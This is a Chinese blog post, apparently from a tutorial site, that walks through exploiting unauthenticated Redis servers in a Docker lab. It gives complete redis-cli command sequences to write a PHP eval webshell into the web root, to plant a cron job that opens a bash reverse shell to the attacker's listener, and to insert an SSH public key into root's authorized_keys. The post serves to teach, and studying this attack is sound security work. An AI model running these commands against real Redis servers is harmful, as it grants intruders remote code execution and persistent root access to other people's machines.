Redis未授权访问漏洞引出的漏洞利用方式

redis未授权访问漏洞的成因和危害

漏洞定义

redis未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。

漏洞成因

  1. redis版本为4.x/5.0.5或以前的版本;
  2. redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  3. 没有设置密码认证,可以免密码远程登录redis服务

漏洞危害

  1. 攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制;(/var/ww/html)
  2. 攻击者可以通过redis命令向目标服务器写入计划任务来反弹shell,完成服务器的控制;(/var/spool/cron/)
    任务计划反弹shell方法仅适用于Centos
    Ubuntu 不能用的原因如下:
    因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行
  3. 最严重的情况,如果redis以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。(/root/.ssh)

操作演示

由于我的系统是Ubuntu,并且环境是用docker搭建的,下面我只演示写webshell的部分。

环境搭建

靶机:Ubuntu + LAMP + redis-5.0.4(172.16.70.129)
攻击机:kali(172.16.70.140)

# 搭建redis5.0.4,同时设置挂载卷和端口映射,如果不做定时任务和公钥的实验则不需要(-v /var/spool/cron:/var/spool/cron -v /root/.ssh:/root/.ssh)
docker run --name=redis-5 -dit -v /var/www/html:/var/www/html -v /var/spool/cron:/var/spool/cron -v /root/.ssh:/root/.ssh -p 6379:6379 redis:5.0.4
# 搭建LAMP,这里我随便选了个镜像,同样做好挂载卷和端口映射并让容器在启动时执行(./run.sh)命令
docker run --name=lamp -dit -v /var/www/html:/var/www/html -p 80:80 -p 3306:3306 mattrayner/lamp /bin/bash -c "./run.sh"
# 如果需要对redis进行操作,装个redis-tools就行了
apt install redis-tools

环境搭建

redis未授权

# 在redis-5.0.5以下的版本,安装成功后默认情况下可以直接进行访问
redis-cli -h 172.16.70.129

redis未授权

通过redis未授权写入webshell

# 连接
redis-cli -h 172.16.70.129
# 设置存储路径
config set dir /var/www/html
# 设置存储文件名
config set dbfilename shell.php
# 创建记录  [shell => "\n\n<?php @eval($_REQUEST['cmd']);?>\n\n"]
set shell "\n\n<?php @eval($_REQUEST['cmd']);?>\n\n"
# 保存到磁盘		保存时可能会报错,原因是/var/www/html没有写入权限
# chmod 777 /var/www/html 一下就好了
save

写入webshell

通过redis未授权写入计划任务反弹shell

# 在攻击机上监听某端口
nc -lvnp 4444
# 连接靶机redis
redis-cli -h 172.16.70.129
# 设置存储路径
config set dir /var/spool/cron/
# 设置存储文件名
config set dbfilename root
# 创建记录
set xx "\n\n* * * * * bash -i >& /dev/tcp/172.16.70.140/4444 0>&1\n\n"
# 保存到磁盘
save

通过redis未授权实现ssh-keygen 公钥登录服务器

# 在攻击机上创建公钥文件
ssh-keygen -t rsa
# 重新生成一个key文件用于写入redis
(echo -e "\n\n";cat /home/kali/.ssh/id_rsa.pub;echo -e "\n\n") > key
# 将重新设置的文件写入redis,键名是key,值内为公钥
cat key | redis-cli -h 172.16.70.129 -x set key
# 设置存储路径(如果设置失败,说明redis不是root权限)
config set dir /root/.ssh/
# 设置存储文件名(公钥存放在/root/.ssh/authorized_keys可以实现ssh免密登录)
config set dbfilename authorized_keys
# 保存到磁盘
save

生成公钥

参考资料

[1]: Docker 入门指南:如何在 Ubuntu 上安装和使用 Docker
[2]: Redis攻防(未授权访问、利用redis写入webshell、任务计划反弹、Shellssh-keygen 公钥登录服务器、利用主从复制RCE)
[3]: edis问题缓存无法写入到本地磁盘

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值